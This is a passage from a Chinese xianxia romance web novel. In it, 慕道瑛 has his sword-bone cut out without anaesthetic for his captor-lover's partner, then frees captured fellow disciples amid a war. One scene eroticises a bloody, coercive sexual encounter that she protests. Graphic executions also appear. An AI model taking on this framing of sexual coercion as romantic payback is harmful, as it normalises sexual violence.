花瓣不堪重负,倾落蕊中一滴夜露。 顺着鬓发, 一点点没入颊侧, 脖颈,领间。 慕道瑛轻轻打了个冷颤,心也一重一重地冷了下去。 他知道,刘巧娥的话的确未曾说错, 所谓剑骨, 实际上是一段附生之骨,他当年受了如此重的伤, 也正是因剑骨再生之效, 才能有重新痊愈的机会。 只是感情上的意义却难免令他心灰意冷。 他本以为,到了这个地步,他心已经不会再冷, 再痛。原来,竟还能跌入更深,更冷的暗渊地狱吗? 慕道瑛微微阖眸,清楚地听到自己的嗓音回响在寂清的夜里。 “老母,除了瑛,可还曾对其他人撒过娇?”他嗓音竟然柔和,更胜于从前百倍。 他的神魂仿佛在这一刻也跟□□抽离了。 不借? 其实他并没有选择的余地。 她若是来强的,他其实毫无反抗的余地。 可笑她竟然还肯费心思,多番铺垫,卖娇诱哄。 刘巧娥皱眉,“你什么意思” 慕道瑛平静道:“瑛只是问问。” 刘巧娥警惕:“你指的是什么人?” 慕道瑛柔柔淡淡:“程洵,涂钦,何川,陈大总管,不拘是谁。” “未曾。”刘巧娥断然,毫不迟疑。 “所以……”慕道瑛轻轻叹了口气,语意不明,像轻怜,又像讥讽,“当真是委屈你了。” 刘巧娥遽然色变:“慕道瑛!你这是在讽刺我?” 还没等她心虚气短,虚火发作。 青年清冷冷的嗓音便响起:“我借。” 刘巧娥骤然惊疑不定:“你?” “我借。”慕道瑛静静说,嗓音几分心如死灰的漠然。 “二老爷毕竟是因我才受伤,罪魁祸首是我,我脱不了干系。” “况且,”他反问,“这正是你想要的不是吗?”- 借剑骨的事,便这样确立了下来。 他如此大方同意,刘巧娥反倒又迟疑了。 她怔怔地望着他清瘦孤弱的背影,一时间竟又生出心疼,不忍来。 她如今跟慕道瑛这样子又算什么呢? 也罢,她也并非铁石心肠之辈。 此前她固然恨他,恨不能吃他的肉,喝他的血,她恨他当年做的那些事,恨他欺她骗她,恨他重伤了二老爷,恨他什么都不知道,不染尘埃,却还自以为是,频频妄想能拯救她。 却又爱他,念他,痴望他。 她的结局早已写定了,任何人也不能t?动摇她的意志。 欺负了他这么久,两人折腾了这么些时日,她也累了。 他曾经夺走她所爱,如今又愿还她一爱。 也罢,这件事之后便两讫吧,爱也好,恨也好,就这样桥归桥,路归路,两讫吧。 她再也不会执着他了。 她心里头愧疚,忍不住去拉他的手,这一次倒是多出自真心。 “慕道瑛,我……” 却被慕道瑛不着痕迹,轻轻拂手避开。 刘巧娥拉了个空,有些尴尬地僵在原地,讪讪说:“你……好好休息,明日我会叫人来照顾你。借骨不易,前期仍需多加准备一番,倒也不急。” “瑛省得。” 第二日,刘巧娥果然派人前来。 也不知是不是愧疚,不敢面对他,她本人并未现身。 倒是派了她最看重,最信任,几乎视若半身的陈玉柔,代表她的意志,前来慰问。 慕道瑛又被从冷落偏殿,被挪入了浮花殿的侧殿。 一时间,群芳宫中又风向大变,人人惊疑自危。 但慕道瑛一早便不在乎,如今更不会在乎他人之见风使舵,趋炎附势。 “慕道长,这都是老母的心意。” 随着天材地宝,灵丹妙药,被流水般地送入殿中。 陈玉柔领着十几个侍婢宫卫,款款而来,朝他浅浅微笑。 慕道瑛正坐在榻上喝药,膝上盖了一张厚实的毯子。 借剑骨不是件容易的事,首先,借骨人自己的身子需得调理温养好到一个最佳的状态。 慕道瑛闻言,搁下药碗,点了点头:“老母有心了,还请大总管替我转达本人谢意。” 陈玉柔道:“这是自然。” 她又特地招手,叫其中一个男孩子上来。 “这孩子名唤竹青,年纪虽小,却是咱们合欢宫内久负盛名的医师了。老母特地派她来照顾你。” 慕道瑛的目光随之落在那小僮身上。 其人也不过十二三岁的模样,当真穿了件碧绿色的衣裳,眉眼秀气,晶亮。 紧紧攥着胸前的药箱,神情羞涩,胆怯。 讷讷地唤了声,“道长”,似乎连大声说话都不敢。 慕道瑛对目下这一切实在都提不起任何兴致。只为打消这孩子的不安跟紧张,才微微点了点头,“有劳。” 说完,他便又微微蹙眉,靠回榻上,神懒意倦的模样。 陈玉柔见他如此,颇为知机识趣地没再多叨扰他。 二人又不咸不淡寒暄了几句,尽了刘巧娥的心意之后,陈玉柔这才带人离开。 竹青跟那十几个宫婢宫卫从此便被留在了殿里。 慕道瑛很少跟他们说话,他大部分时候都沉默。 喝药,念书,打坐几乎构成了他生活的全部。 竹青初初还有些怕他,但接触下来,才发现这位道长其实是个外冷内热的好人。 虽然每日一副落落寡欢的模样,但生活中并不太讲究花哨,有个落榻之地,有杯水喝便万事俱足了。 纵使有人犯了错。一些无伤大雅的小过,过去也就过去了。 不,竹青怀疑,纵使是有人闯出天大的篓子,他似乎也不会苛责的。 慕道瑛一连喝了足月的苦药,才将身子养得差不离了。 来了个大夫,顺他颈骨一路往下摸,摸了半天,缓缓说,“可以准备了。” 慕道瑛心里冒出个古怪的念头,却觉得自己这连日以来的经历,颇像是养肥了待宰的年猪。 他面上仍是镇定无波,陈玉柔倒是颇为殷切,请那大夫下刀的时候手轻一点。 大夫点点头:“老母的爱宠,我自然省得的。” 陈玉柔对慕道瑛歉疚道:“老母这会儿来不了,等晚些时候,她必来看你的。” 慕道瑛已经厌倦了这样的虚伪,轻轻搭了眼皮,闭目仰首,对那大夫说:“请罢。” 他眼尾那点无动于衷的倦淡,令大夫多看了他一眼。 取骨的时候不能用药。 迷药,麻药都不给用,其间痛楚远非常人所能忍。 “忍着点。”大夫好心提点了一句,从药箱里掣出一把寸长的小刀来。 银光闪烁。 竹青便站在一边,捧着麻布,针线打下手。 他不忍看,指尖都微微发抖。 …… 不知过了多久,慕道瑛这才大汗淋漓地拢紧了道袍,扭脸去看托盘上那一块还带着血色的玉色的骨骼。 ……这便是自他体内取出的那一截剑骨吗? 他心里亦微觉新奇。 一道仿佛远在天边的声音唤回了他的神志。 “慕道长,多谢。”陈玉柔无不诚恳说,她与程洵、刘巧娥,情同家人,跟程洵也是有情的,慕道瑛自愿借骨,她心中感激做不得假。 慕道瑛微微蹙眉,连同神志被唤回的是尖锐的疼痛,冷汗一重又一重淌下来,浸透了纱衣道袍。 原是刚刚身体疼得太狠,令他神志竟有短暂的抽离。 他动了动唇,想说些什么,可仿佛只是这细微的动作,也能勾连起深深的痛楚。 竹青忙扶他躺下来。 陈玉柔见他面如金纸,知他状况不好,“道长且好好休息,晚上老母便来看你了。” 慕道瑛缓缓合上眼。 他需刘巧娥来看么? 陈玉柔走时,带走了殿内所有的人,只留竹青一个贴身伺候。 慕道瑛很快便昏昏沉沉睡去,似乎做了个光怪陆离的噩梦,但醒来时又全无记忆。 他醒来时,已近日暮,槅扇门被一扇扇大开着,斜阳余晖的金光冷冷地撒入殿内。 晚风掠过光可鉴人的砖墁,生出几许如水的微凉。 他背心被汗湿了,但头脸手臂仍是干爽。想来是竹青的手笔。 他被困在噩梦中时,他不断帮他擦汗,但怕触动他伤势,没敢翻动他。 慕道瑛心里升出点感激,哑声喊了声,“竹青。” 那青色的身影登时跳了出来,惊喜说:“道长,你醒了?” 慕道瑛默默猜着时辰,问:“我睡了多久?” 竹青:“三个时辰。如今已是酉时了!” 酉时,慕道瑛又问,“可有人来过?” 竹青面色不知为何微微变了。 慕道瑛淡淡问:“她没来是吗?” 奇怪,他心里竟当真平静如水,无波无澜,并未有过多情绪起伏。 是深知她性子,还是早已不抱希望了? 亦或者,失望至极,对她那点爱意也疏薄了? 竹青当然知道他所指的“她”是谁。 他有些不忍,吞吐道,“老母、老母来过的。” 慕道瑛静静的:“但是,二老爷那边又出事了是吗?” 竹青登时呆住了,他还不太会遮掩自己的神色。 “老母刚来不久,二老爷那边情形似乎不太好,老母看了道长一眼,便匆匆走了。”他小声复述,“但老母走之前说了,叫我好好照顾好道长,她晚上还来。” 倘若他足够硬气,便会烦请竹青转告。 她不必来了。 他本也没盼望她来。 但他只是默默听了,缓缓坐起身。 对上竹青视线,慕道瑛摇摇头:“你不必怜悯我。” 又主动问他要了一碗药饮下。 刘巧娥虽然视他为草芥。可他怎可自轻自贱? 他更要好好养伤,再想方设法逃出去,回到仙盟。 虽然如今的仙盟虽然早已是鬼影幢幢,画皮横行,可总有秉一颗浩然丹心的义士坚守。 回到仙盟,阻止她。 慕道瑛喝得很慢,他如今每说一句话,每一个吞咽动作,体内都痛不欲生。 睡了一觉之后,被剜去那一段剑骨的实感仿佛才重新降临体内。 他能感受到灵力的不继。 从前,饶是根基破碎,他也是能感受到灵气汩汩然的流动的。 而今,筋脉仿佛枯竭的小河,露出干枯的河床,只剩几缕细小的涓流在泥浆之中苟延残喘。 □□上的痛苦尚且能忍,可灵气的虚弱,对每个修士而言,才是生不如死。 竹青服侍他喝过药之后,慕道瑛谢过他,便请求一个人静一会儿。 月华降下。 他闭上眼,企图感受月光的精华,吸纳月华灵气。 但每吸入极淡薄的一缕,体内便如鱼刮鳞一般,疼痛不止。 他抿了抿唇,不服气,仍要继续。 一个熟悉的嗓音如月魄降临,冷如心肺。 “你还好吗?” 慕道瑛身子轻轻一颤。 饶是他早下定决心与她从前分明,对她早无期许,闻她到来,也不免心绪波动。 他顿了一会儿,才睁开眼,嗓音竭力云淡风轻, “看来,二老爷已经无碍。” 刘巧娥皱眉:“你说这个干嘛,他……才植入剑骨,有些不太适应,我下午才去看他。” 慕道瑛仍是淡淡:“否则,老母又怎会屈尊来见我?” 刘巧娥也知t?道自己这事做得不太地道,语塞, “我……我是担心你,你一定要这样跟我说话吗?” 慕道瑛反问:“不说话,难道要如从前那几晚一般行事?” 刘巧娥:“……”她脸难得窘迫的烧红了。 这又是在怪她之前一言不发故意拿他泄1欲侮辱他的事? “我……”她讪讪近到前来,又想故技重施,与他“把臂言欢”。 可惜慕道瑛已经看穿了她的伎俩,容色极为倦淡,冷瞧着她。 若她不如此虚伪造作,妄自许下诺言又擅自毁约,他心中还不至如此愠怒。 就算心里想要划清界限可那愤怒,失望,却令他破天荒地,头一次有了狠狠教训她的冲动。 刘巧娥抱他手臂,慕道瑛轻轻一挣,抱了个空。 她心里咯噔一声,正要开口哄他,肩头却被他定定按住了他。 她抬头,忽然见一个天旋地转,慕道瑛竟将她顺势摁倒在她榻上,俯身压了下来。 “你——”刘巧娥结结实实吃了一惊,有些慌乱地想要直起身。 慕道瑛淡淡抚摸她胸口,抽去她的诃子系带,埋头咬了一口,“这不是你来此的目的吗?”就像前几夜那样。 她吃痛大呼,脸红得快滴血了:“你疯啦?” 那里白嫩柔软得像块豆腐,一只手都掬不住,他顿了顿,指尖摸了摸那一圈鲜红渗血的牙印,心里犹觉不解气,含在唇间用齿尖磨了磨。 他另一只手已抚上她大腿,抬高,深深埋了进去。 刘巧娥又羞又气,气红了脸:“你放屁!老娘才不想要这个!” 她把他当成什么人了?色中恶鬼吗?!她就算再急色,也不至于在他伤还没好的时候干这个事吧? 他、他才剜了剑骨,都伤成那样了! 方才这一动,他身上的血便淌了下来,染红了她的裙摆。 刘巧娥头皮发麻,目瞪口呆,毛骨悚然。 可慕道瑛却恍若未觉一般,只顾一遍遍抚摸她,埋入,咬下,被鲜血浸透的道袍紧贴他起伏有力的肩背。 乌黑的发尾在血泊中一扫而过。 掬着她大腿使力的指尖也染了血,在她腿间留下一个个血红的指印。 刘巧娥当真有点被吓到了。 她能清楚地感觉到他有多兴奋。 慕道瑛这样好性的人生起气来,简直像变了个人,也是清清淡淡,极为内敛的,却因为压抑逼出股非人般的偏执。 她怕再伤到他,也不敢反抗。 却不知她这么好强一个人,硬着头皮,任他施为,很容易便引起男人的兴奋。 他望进她眼里,再也压抑不住心底那股微妙的凌虐欲,明知她不喜,仍去抚摸她的脸。 将她的眉眼全抹上自己的鲜血。 他对她满腹怒气,动作也不加收敛,极其孟浪。 他初时还能保持克制,不紧不慢,不急不缓,淡淡磨她,逼她。 可后来,自己也失去了章法,便抿了唇角,只一味地翻来覆去折磨,进攻。 刘巧娥浑身发软,眼泪扑簌簌地都落了下来。最后的最后,只能记起他额角绷起的青筋,起伏的腰腹,黝黑冷淡的蛇一般的目光, 直到天际泛白,他才抽身离去。 她意识都有些模糊了,浑身还在无意识地发抖,她仿佛变成了他身体的一部分,眼睛只能用来感受他的眉眼,嘴唇只能感受他的□□,她只能感受到他的温度,他的强硬,他的跳动。 她何时被人如此对待,感觉自己像个被熟透了的,被捣烂的果子。 又好像是一尾鱼。 他捞她出水,抚摸她光溜溜的鳞片 她在他掌心不断挣扎,弹动。又被放入油锅里,翻来覆去地煎。从里到外,从头到脚都被煎透了。 她隔了好一会儿,意识才缓缓归笼。 少顷,便感觉到一双微凉的大掌扶住了她脆弱的脖颈。 刘巧娥心下一惊,挣扎着抬手去扣他脉门,他如果想在此时杀她,她是全无抵抗的。 可慕道瑛没有,他将她扶起,抱在怀里,沉默地一件件给她穿衣服。 就如同之前他无数次服侍她那般。 她失焦的目光一点点凝聚,目光落他瓷白的面容,微微一晃,打滑一般偏落了下来。 这一次,他倒是没有前几晚那样羞赧,颓败。 他似乎已心平气和地接受了一切,面无表情地拔出指尖,倾倒琼浆。 “时辰不早了。”慕道瑛擦了擦指尖,扶着她肩头,不容置疑地说,“老母一夜未归,去瞧瞧二老爷罢。” 说完,便将她扫地出门。 独留完全不在状态的刘巧娥,愕然望着面前紧闭的门窗。 第53章 第 53 章 分道扬镳,不过早晚而已…… 这个混蛋。 刘巧娥一步一步, 腰肢酸软出了侧殿,日光照她面色绯红。 她咬牙切齿,她这幅模样又如何能看得了程洵。 这个混蛋, 故意叫她去看程洵到底是什么意思? 意中人,天上月还是停留在天上的时候更好。 她少女时期多少次曾幻想他不由分说, 霸道吻她,同她翻云覆雨。 可真成了现实,便又感到说不出的羞耻跟愤怒。 想发火, 却又心虚气短。 她怔怔地站了一会儿, 目光有些痴了,幽幽叹口气。 慕道瑛是她的冤家,三番两次搅乱她心神。 他不能再继续待在合欢宫了。 她狠了狠心, 既已决心两讫, 便找个法子将他赶走吧- 刘巧娥走后,慕道瑛又打了一盆水, 净了手指, 头、面。 凝望水波中那个陌生又熟悉的男人。 淡薄的眉眼间压着无边的疲倦,水波荡漾,一点点扭曲了男人的眉眼,成个他不认识的模样。 他本应该就此跟她划清界限, 可昨夜怒从心起, 他克制不住对她的怨怼,愤怒, 想要她痛他所痛, 欲他所欲,将自己的感受,加诸百倍, 千倍,通通在他身上偿还。 也罢,从前种种,譬如昨日死。既已做出这些事,后悔也无用。 到此为止罢。 他这厢煎熬懊悔,她却未必有此闲情逸致。 他昨日所做,于她而言,或许不过是从前跟程洵、涂钦、何川之辈夜夜笙歌的日常。 也不知是不是他那日的疯狂模样,吓退了她,刘巧娥一连几日竟再也未曾来找过他。 倒是程洵伤养好了五六分,能下床走动了,便想来拜访他跟他道谢。 都被慕道瑛拒之门外。 唯一跟在他身边伺候的只有竹青。 竹青身处合欢宫,仍保有几分难能可贵的天真,说话知无不言言无不尽。 也正是从竹青处,慕道瑛才得以知晓外界的诸多动向。 譬如,这段时间,仙盟已集结了各大门派,对合欢宫发动了攻击。 他们不敢跟魔门硬碰硬,自然先将矛头对准了魔门的马前卒,拿合欢宫泄愤。 玉清弟子的日子也很不好过。 清虚叛逃之后,带走了门内相当一部分的长老精英。 众人才知晓,玉清观被魔门渗透之深。 玉清弟子顿成众矢之的,惶惶如丧家之犬,受尽其他门派弟子的欺凌,道心摇动,崩塌者不知凡几。 慕道瑛眉头皱了起来,想起昔日视若兄弟姊妹的同门,痛在心里。 “老母这些时日早出晚归也为此故。”竹青道。 接下来这几日,果如竹青所言,合欢宫阖宫上下进入了紧锣密鼓的战时戒备状态。 几大家集合攻打合欢宫,战场便设立在胥梦大泽向东五百里之外。 罗那吉虽狡狯卑鄙,却也断不可能坐视盟友被困而无动于衷。自然也派了手下不少魔兵魔将相助。 合欢宫内,常常见到有魔门弟子往来。 这一日,竹青熬好了药,捧来予慕道瑛喝。 慕道瑛道声多谢,才端起药碗,忽听得殿外一阵喧闹。 慕道瑛闻言药也不喝了,站起身,同竹青一道儿去看。 许多护卫宫婢行色匆匆地打宫门前跑过。 “发生什么事了?你们这是去干什么?”竹青抓住其中一个宫婢问。 那宫婢有些雀跃说:“老母抓了一批仙盟的人回来!说是要祭旗示众呢!” 仙盟,祭旗?慕道瑛一怔。 竹青也想到他昔日身份,犹豫问:“道长,可想去看看?” 慕道瑛想想,点点头。他毕竟也曾是仙盟弟子,总也要过去瞧瞧个中情况。 等他二人来到那中央广场时,却已是迟来一步。 广场上早已人满为患,羊氏三娘娘中的一个,正站在台前振臂高呼。 “你们看看!看看这些人!平日里自诩正道,瞧不起咱们合欢宫行事作派,对咱们多加欺辱!害了咱们不知多少兄弟姐妹! “可我们那些兄弟,那些姐妹,就t?当真该死吗?!” “这些年来,咱们合欢宗弟子秉持中庸之道,可曾参与过正邪之争?可曾学魔门残害过无辜性命?不过修炼功法不同,便对咱们赶尽杀绝,着实可恨!” “是这些正道!多年以来,逼人太甚!逼得咱们一退再退,无路可走,无路可退!” “而眼前这些人,竟在阵前大言不惭,出言不逊,侮辱老母!当真是不知天高地厚!”羊娘娘厌恶说,“老母动动手指,他们便落得今日这番下场!可厌,可笑!” 她言辞直白,又经由灵力传播,洪钟大吕一般,掷地有声,回响山谷,颇具煽动性。 台下合欢宫弟子也都被勾动了怒火,个个咬牙切齿,面现忿忿不平之色,却浑然忘记了,早在刘巧娥掌权之前的那几十年里,他们这些合欢宫弟子奸淫掳掠,逼良为娼之事却也没少做。 台下山呼海啸地喊起了“老母万岁永昌”之类的口号,人心浮动,声浪喧天。 慕道瑛微微蹙眉,对人群这狂热一幕很是不以为然,不太适应。 因人太多,他跟竹青几无立足之地,不得不纵起一道云气,提了他一道儿站在云头看。 地面齐刷刷横倒了十几具的无头尸,这些仙盟弟子早已被砍了脑袋,脖子上一个碗口大的血疤,鲜血流淌了一地。 慕道瑛面色微微一变,他到底不是圣人,下意识去瞧地上人头,未瞧见相识亲近的容貌,不由微微松了口气。 可转瞬之间,又生起一股物伤其类的不忍低沉。 仙盟如今纵有再多不清白,可下面弟子何辜,他们平日里却绝无接触到那些蝇营狗苟,腌臜糟污的机会,不过奉命行事,如今却落个身死道消的下场。 正魔战起。 兴,百姓苦,亡,百姓苦- 随着战事吃紧,刘巧娥亲临战争,久未归宫。 东华境内,倒一直流传她战场上的恣睢残忍,虐杀敌军的暴行。 慕道瑛其实也做好了或可收到熟人死讯的心理准备。 他有不少关系不错的朋友都在仙盟任事,刀剑无眼,避无可避。 他目下虽想得开,但真到了那么一天,慕道瑛却发觉自己想得还是太简单。 见到好友遗物的那一日,与往常并无什么不同。 刘巧娥仍未露面,他仍在遵从竹青的医嘱,日日喝药调理剜骨之后的亏空。 竹青每日都会陪他在花园里走上一段路。 他说,病人更要多走动走动,晒晒太阳。 这一日,他正照例从竹青口中探知外界变化,却突然听到一阵喧闹。 一阵急促脚步,几个魔人青天白日里喝醉了酒,高声谈笑着走过来,将园子里的牡丹、芍药等花花草草,踩碎了一地。 竹青知道慕道长不喜欢这些魔人。 慕道瑛眉头顿时浅浅皱起来,转身正要避开,才走出几步,却突然回过身,面色大变,如遭雷击般盯向了其中一个魔人的腰间。 只见那魔人束一条金腰带,腰间叮铃哐啷挂满了小剑,匕首,玉佩等物什,这些物件风格各不相同,明显来自于不同的前主人。 慕道瑛呼吸仿佛一下子都结了冰,周身血液都冻住了。他抬起眼盯紧那魔人,一字一顿问。 “你这小剑是打哪儿来的?” 他见过这小剑,不过寸长,通体银色,错金云纹,唯独玉质的剑柄刻一朵小小的梅花。 是他昔日一个仙盟好友的爱物。乃他入道前一个爱人相赠,他那爱人后来早死。朋友对这小剑珍惜之际,等闲不给人碰。 只喝醉了酒后,才恋恋不舍摸着小剑给众人瞧那么几眼。 “你是谁?”那魔人半眯醉眼,懒懒打量他。 慕道瑛没回话。 他却突然了悟,捧起那小剑,道,“哦?你说这个?” “这是我从一个仙盟弟子手里得来的。”他轻蔑笑。 “那人被我剁成了几大块,临死前手里还握着这短剑不肯松手呢。亏老子费了老大劲才掰下来。” 这魔人待盟友倒也大方,甚至解下短剑递了过来,体贴问:“你可要看?” 阳光下,剑刃倒映出银白色的雪光。 慕道瑛的目光闪了闪,被剑光刺痛,几乎逼出眼泪。 一时之间,耳畔如有千魔啸叫。 地面残枝败花,照进眼底,明晃晃如人之头颅残肢, 分明日头当空,为何青天白日之下,仍尸横遍野,有恶鬼明目张胆行走在这清白人间,朗朗乾坤之下? 他心魔丛生,手掌不禁攥紧成拳,一道极其淡薄的剑气不自觉绕身而走。 “道长!”竹青忽叫他。 慕道瑛这才猛然回神,从幽冥鬼狱中回到人间。 竹青冲他猛摇头,眼里有哀求。 ……不要在这里。 慕道瑛霎时无言。 眼下这四五个魔人,若是以前,他自然不放在眼里,可他如今才剜骨不久。 他固然可以趁一时之快,置生死于度外。 但竹青何辜,修为平平的医师,若届时真打起来,他恐怕护不住他,反连累他一条性命。 他眼球干涩,几乎流出血来,强忍住忿郁仇苦,阖眼摇摇头。 嗓音极为沉郁,喑哑带血:“不必。” 那魔人不明所以瞧瞧他,摇摇头,“随你,拉倒。” 自顾自醉得东倒西歪找同伴去了。 竹青知他心中难受,搀了他回侧殿休憩。 慕道瑛强压内心憾恨苦楚,心不免又冷了一重。 却非是责怪刘巧娥她残忍狠毒,妄兴杀孽。 正魔之间必有一战,两军相交,其间伤亡在所难免。 古往今来,对阵双方为了打击对方的士气,恐吓,威胁,乃至生吞敌方血肉,手段尽出,在历史上也是屡见不鲜。 他所心灰意冷者,乃是之前他或许还存着点探究,说服她的心思,这些时日的所见所闻,不过是令他抛却了昔日那点软弱的天真,看得更加清楚、明白。 风云变幻,沧海横流。 大势之下,他跟刘巧娥已非同路人。 分道扬镳,不过早晚而已。 这日,合欢宫中又送来一批战俘。 这是第二批。 慕道瑛想起那些被砍头的仙盟弟子的遭遇,又惦念好友安危,赶在行刑之前提前过去瞧个究竟。 那负责押解的小统领起先不让。 竹青呵斥说:“睁大你的狗眼看看,你可知晓眼前这大人是谁?” 那小统领迟疑地望着眼前这眉清目静,雅致如月,行动如柳的男人,脸上也无奈,他当然也认得慕道瑛,知晓他如今风光。 慕道瑛又抿了抿唇,故意作出一番骄横姿态,言语间多加威胁,那小统领迟疑一会儿,竟当真被他吓退。 慕道瑛倒也真没打算跟这小统领过不去,他肯放行,他便柔和了语调,温絮说,“有劳道友通融,老母那里,我自会去禀报,若老母怪罪,罪责一律由我来担,绝不会怪罪到你身上。” 那小统领苦笑说:“男君晓得咱们当差的艰辛就好!” 慕道瑛带着竹青刚走近。 没曾想,俘虏之中却有个灰头土脸的身影叫起来:“师兄!慕师兄!” 慕道瑛吃了一惊,折身快步走近几步,拂开那人额前乱糟糟的发, “吴华云?” 吴华云见他,如见救星一般,“师兄!你竟在此!我还以为你已经死了。” 慕道瑛目光自这些人面上一扫而过,定定一瞧,这批战俘,竟有七八成都是他所面善的玉清同门! 慕道瑛蹙眉:“你们怎会在此?” 吴华云便将近来外界的战局都说了。 刘巧娥坐拥山河剑在手,又有罗那吉等魔域魔人相助。 仙盟久攻不下她。 仙盟内部人心也不齐,尤其是玉清观弟子,清虚出走之后,继任的灵微长老,性子软弱,并不能统御人心。 玉清观弟子厌战心态极为严重,又同其他几家弟子多有龃龉。 战场反被同盟出卖,背叛,这才导致被抓来的战俘之中玉清弟子竟占六七成之多。 慕道瑛眉头皱得更紧。 上回是他去晚一步,这次他自然不可能眼睁睁见他们白白送死。 他便又找到那小统领,向他索要这批战俘,道是他问到了重要信息,这批战俘干系重大,要亲自将他们解送到二老爷程洵面前。 那小统领哪里会信。 慕道瑛冷冷拂袖:“……我说事关重大,难道还会骗你不成?!若是走漏了消息,延误了战机,你可担得起?” 将那张扬跋扈,目中无人拿捏得倒也有几分像模像样。 那小统领不论如何也不肯通融了,非要通报上峰,索要信物。 慕道瑛见不论如何也说服不了他,轻道了声抱歉,索性出手如电,骈指连点t?他脉门,将他及那几个护卫都定在当场。 做完这一切,他气力便有些不继,喘息也有些急促。 强忍住疼痛,慕道瑛带着吴华云几个,走到个安全的地方,替他们解开绳索,放了,又找来合欢宫的服饰叫他们换上。 “我不能送你们出门,能否逃出去,端看你们个人缘法福分了。” 他说着,取来一张白纸,凭借记忆飞快地详细画了宫中地图,守卫路线。 吴华云:“师兄怎么不与我们同去?” “我受了伤,他们又都认得我,走不远的。” “你们走罢,那小统领……”慕道瑛顿了顿,摇头,“也是奉命行事,是我逼他难做,仍需跟她解释请罪,日后若有机会,说不定还有相见一日。” 说完,便不顾吴华云等人劝说挽留,强行将他们赶走。 刘巧娥不在宫中,慕道瑛自去了陈玉柔洞府领罪。 他做这些事,也并非全不计较后果。他心知吴华云这几个人到底有几斤几两,其生死根本无关乎大局。 在他借骨基础之上,陈玉柔不太可能不给予通融。 果不其然,陈玉柔闻他来意,只委婉地责备几句,便没有再多说什么。 反而是问:“老母明日要回宫一趟,慕君可曾听闻?” 这些时日,仙盟同合欢宫战局胶着,又有传言说罗那吉要趁机攻打太和宗,夺得最后一件道器——溯世镜。 仙盟似隐隐也流露出退兵回援之意。 刘巧娥倒是难得能在这连日以来的紧密攻势之下,缓过神,歇口气。 慕道瑛闻言默然,拱手说:“多谢大总管告知,如今却是听闻了。” 只是刘巧娥虽回宫。他如今却仍不知到底要以何种态度来面对她- 许是惦念着刘巧娥将要回宫的消息。 从今天一早起,慕道瑛便表现得尤为魂不守舍。 不是不慎打翻了砚台,就是不慎喝药呛到了喉咙。咳得昏天黑地,枯瘦如柴的脊背弓成个虾米。 唬得竹青慌忙来扶,以手拍背,为他理气。 慕道瑛急促地喘息,艰难地摆摆手。 隔了好一会儿,他缓过气来。 小僮仍忧心忡忡望着他,准备给他递水。 慕道瑛瞧他一双黑葡萄一般的眼,冷不丁地开口,“竹青,我病已好得差不多。接下来也只能交给时间慢慢温养。” 竹青年纪虽小,人却灵敏,他闻言呆住:“道长,你是要赶我走吗?!” 他眼圈一下子就红了,虽然相处日短,可他打心眼里就已经喜欢,敬佩上了这个大哥哥一般温柔好性的仙长了啊。 慕道瑛见了,忍不住摸了摸他毛茸茸的脑袋,“你不能再待在我这里了,我会牵连你。” 他迟早是要走的。 “这些时日。”慕道瑛顿了顿,恳声说,“多谢你,若没你相伴,我亦不知如何是好。” 这大孩子为他做的一切,他都看在眼里。 竹青总让他想起昔日还在玉清观时的时光,他的出现的确带给了他许多的慰藉。 那些顽皮的师弟师妹,笑脸相应,脆生生喊他师兄。 慕道瑛微阖了眼,可如今他们却在战场上,如被一轮轮刈过的麦一般倒下,叫他如何忍心坐视? “你走罢。”慕道瑛睁开眼,语气已多了几分不容置喙的坚决。 小孩子还不能接受别离。竹青眼泪流满了脸。 慕道瑛见了不忍,难免又多安慰了他几句。 二人正说话间,有宫婢来报说,老母过来了。 慕道瑛微一僵,冷冷说:“就说我病了,无法见客。” 宫婢:“可是……老母……这……” 慕道瑛冷声道:“还不快去?” 竹青迟疑着:“道长?” 慕道瑛定了定心神,温软了容色语气,“不妨事,我们继续说。” 他与刘巧娥之间已注定分道扬镳,与其见面,又弄个不欢而散,不如不见。 “小竹,你听我的。”慕道瑛轻轻叹了口气,委婉道,“我……并不会长久待在这里的……” 竹青红着眼,目含悲戚,他听懂了。 慕道瑛又轻轻拍拍他的头,“天下无不散之筵席,你我总有分别一日,早些,晚些,并无任何区别,不是么?” “可是道长……”竹青咬咬牙,突然撩起衣袍,跪下来咚咚用力磕了三个响头。 他不再坚持,只是说:“道长你的伤势还需要再换五天的药!” 慕道瑛一怔,“竹青,或早或晚——” “有差别!”少年昂扬打断他,“对竹青来说有差别!能与道长多相处哪怕一时一刻,也是竹青的福分!请让竹青再为道长换最后五天的药!” 慕道瑛对上少年清亮坚定双眼,终是不忍心,作出了让步。 轻轻叹口气,“那便听你的,过几日再说罢。” 竹青擦擦眼泪,破涕为笑。 “我这便去准备替道长换药。” 他高高兴兴地出去了。 之后刘巧娥又来了一次。 但慕道瑛一律托辞病痛,不肯相见。 也不知是不是因为“借”他剑骨给了程洵,她本就心虚气短,心怀愧疚,他托病不见,她竟也未曾勉强他。 慕道瑛心里也清楚,其实一直靠这样的借口并非长久之计。他心中自嘲,他当日劝说竹青说得好听,但或许正如他所言。 或早或晚,一日两日,也是有区别的。 且能拖一日便是一日罢。 然而,第三天一早,慕道瑛起身,却并未瞧见竹青。 当时他心里便直直打了个突,感到不对劲。 竹青手脚勤快,精力旺盛。每每他起身,他便在门口侯着了。 他曾怜悯他年幼,还是长身体的时候,不愿叫他一早便来贴身伺候,可少年浑像个小牛犊子,满身的力气,眼神亮晶晶的。 只说不累,越干活越有力气。 慕道瑛没见他,扶着杖出门找了一圈儿,问了身边宫婢,都说没见。 他心里生起不妙预感。 要命还的是,他的预感一向十分准确。 直到问到个宫婢。 “竹青呢?” 那宫婢也有不太确信:“好像……今日一早被人叫去了,说什么老母要见他?” 慕道瑛心头一沉,快步向浮花殿赶。 时隔多日,这是他第一次来到浮花主殿。 宫婢引他去了后殿,穿过重重回廊,见如瀑的紫藤花拂着花树,萦着架子,万朵次第齐开。 而宫殿的主人,正一袭白衣,仰头瞧着满架的紫藤。 慕道瑛忧心竹青的安危,可乍瞧见那道熟悉的身影,仍不自觉放慢了脚步,心里缓缓漾开无言的空茫。 他险些忘记了自己的来意,怔了好一会儿,这才回过神。 张张口,正欲说话。 那道小小的身影,却已经感觉到了他的灵息。 刘巧娥转过脸,不咸不淡地看向他,替他直述了来意: “你不肯见我,我也不想逼你,只能用这种方法请你主动来见我了。” 慕道瑛一时哑然,准备的满腔的话毫无用武之地。 她这是承认自己带走了竹青?他听她言语荒谬,不由微愠,齿间挤出几个字:“这是‘请’,而不是‘逼’?” 第54章 第 54 章 原是我错了 刘巧娥不置可否。 若是从前, 她或许还有闲情逸致同他恨海情天,多纠缠一番。 只如今大战当前,已不容儿女情长。 